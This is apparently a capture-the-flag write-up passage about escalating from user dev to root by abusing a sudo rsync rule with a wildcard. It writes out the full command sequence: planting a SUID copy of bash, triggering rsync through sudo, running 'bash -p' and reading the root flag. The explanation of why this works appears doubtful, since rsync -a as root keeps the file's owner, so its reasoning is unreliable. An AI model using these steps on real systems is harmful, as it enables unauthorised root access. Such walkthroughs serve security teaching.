Shell as root
After escalating to dev, we ran:
sudo -l
Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/The rsync is being used to copy the content of the production-ready app to /opt/app while excluding the .hg directory.
The vulnerability lies in the wildcard: *
Wildcards (*) expand to all files and directories, but when passed through a tool like rsync, the tool just runs what you feed it — even if it includes unexpected file types like binaries or symlinks.
So, if we drop a SUID binary, like bash, into /home/dev/app-production/, and rsync copies it with permissions intact... we win.
Copy bash into the app directory:
This creates a SUID-enabled shell. When run by a regular user, it runs with the permissions of the owner — in this case, root.
cp /bin/bash /home/dev/app-production/bash
chmod u+s /home/dev/app-production/bashTrigger rsync:
Now bash gets copied to /opt/app/bash with the SUID bit preserved.
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/
Run your SUID binary:
The -p flag tells bash to not drop privileges — and since it’s SUID-root, we are now root.
/opt/app/bash -p
bash-5.2# id
uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)
bash-5.2# cat /root/root.txtLast updated
Was this helpful?